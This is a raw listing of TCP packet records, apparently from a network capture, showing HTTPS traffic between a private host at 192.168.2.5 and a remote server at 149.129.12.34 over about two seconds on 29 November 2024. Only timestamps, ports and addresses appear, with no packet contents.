Nov 29, 2024 15:45:36.789150000 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.789158106 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.789192915 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.789962053 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.789975882 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.790020943 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.790026903 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.790060043 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.790853024 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.790868044 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.790919065 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.790925026 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.790965080 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.797163010 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.978291988 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.978315115 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.978398085 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.978426933 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.978471041 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.983798027 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.983814955 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.983872890 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.983880043 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.983918905 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.988723993 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.988742113 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.988809109 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.988816977 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.988867044 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.994296074 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.994311094 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.994374037 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.994396925 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.994441986 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.999906063 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.999924898 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.999994040 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.000003099 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.000041962 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.004654884 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.004671097 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.005359888 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.005367041 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.005404949 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.009958029 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.010504007 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.010519028 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.010572910 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.010581017 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.010620117 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.015331984 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.015346050 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.015396118 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.015403032 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.015460014 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.017190933 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.189308882 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.189336061 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.189384937 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.189405918 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.189419031 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.189445019 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.194273949 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.194289923 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.194336891 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.194345951 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.194385052 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.199712038 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.199731112 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.199780941 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.199795961 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.199839115 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.205202103 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.205267906 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.205323935 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.205332994 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.205370903 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.210068941 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.210084915 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.210143089 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.210150957 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.210194111 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.215735912 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.215750933 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.215818882 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.215828896 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.215866089 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.220933914 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.220951080 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.221007109 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.221020937 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.221060991 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.224736929 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.226505041 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.226521015 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.226572037 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.226581097 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.226622105 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.256669998 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.427427053 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.427459955 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.427625895 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.427656889 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.427704096 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.432339907 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.432358027 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.432427883 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.432435989 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.432478905 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.438076973 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.438096046 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.438158035 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.438169003 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.438210964 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.443367958 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.443387985 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.443454027 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.443468094 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.443519115 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.448940039 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.448957920 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.449022055 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.449032068 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.449073076 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.453826904 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.453845024 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.453906059 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.453917027 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.453958035 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.459002018 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.459018946 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.459079027 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.459089041 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.459136963 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.464525938 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.464545012 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.464611053 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.464624882 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.464665890 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.465341091 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.649249077 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.649293900 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.649421930 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.649451971 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.649496078 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.654869080 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.654885054 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.654942036 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.654952049 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.654989958 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.659698963 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.659714937 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.659778118 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.659787893 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.659827948 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.665186882 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.665201902 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.665260077 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.665268898 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.665307999 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.670794010 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.670809984 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.670866013 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.670876026 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.670917034 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.676224947 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.676242113 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.676316977 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.676326036 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.676367044 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.676582098 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.681512117 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.681529045 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.681581974 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.681590080 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.681631088 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.684909105 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.686533928 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.686551094 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.686604023 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.686616898 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.686655998 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.689644098 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.859823942 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.859846115 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.859937906 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.859956026 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.859996080 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.865083933 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.865101099 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.865165949 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.865175009 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.865215063 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.870724916 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.870747089 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.870800972 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.870815992 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.870848894 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.875561953 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.875580072 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.875643015 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.875655890 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.875694036 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.881165028 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.881182909 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.881270885 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.881283045 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.881319046 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.886405945 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.886425018 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.886480093 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.886497974 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.886538982 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.891850948 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.891869068 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.891916037 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.891926050 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.891963959 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.897339106 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.897356033 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.897408009 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.897419930 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:37.897458076 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:37.897706032 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.070781946 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.070806026 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.070915937 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.070938110 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.070976973 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.075608015 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.075623989 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.075706959 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.075715065 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.075746059 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.081146955 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.081162930 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.081221104 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.081228971 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.081271887 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.086534023 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.086549044 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.086611032 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.086616993 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.086649895 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.091486931 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.091505051 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.091550112 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.091556072 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.091589928 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.097448111 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.097464085 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.097537041 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.097543955 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.097577095 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.102442980 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.102463961 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.102516890 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.102524042 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.102561951 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.103790045 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.107829094 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.107844114 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.107908964 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.107914925 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.107947111 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.108061075 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.281409979 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.281436920 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.281487942 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.281512022 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.281527042 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.281542063 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.286514044 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.286530018 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.286585093 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.286591053 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.286623955 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.292071104 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.292088985 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.292133093 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.292139053 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.292176008 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.296930075 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.296945095 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.296989918 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.296996117 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.297029018 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.302570105 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.302584887 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.302612066 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.302617073 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.302649975 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.307785034 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.307801962 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.307832956 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.307838917 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.307871103 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.313214064 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.313236952 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.313267946 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.313273907 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.313313007 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.318806887 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.318825960 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.318856955 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.318861008 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.318975925 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.322169065 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.497848034 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.497872114 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.498002052 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.498023987 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.498059988 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.503190041 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.503210068 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.503262997 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.503272057 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.503305912 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.508770943 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.508789062 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.508846045 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.508855104 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.508883953 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.513712883 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.513729095 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.513781071 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.513787031 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.513825893 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.519736052 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.519754887 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.519810915 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.519819021 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.519849062 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.524507046 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.524523973 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.524583101 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.524593115 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.524633884 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:38.529822111 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:38.529840946 CET	443	49704	149.129.12.34	192.168.2.5
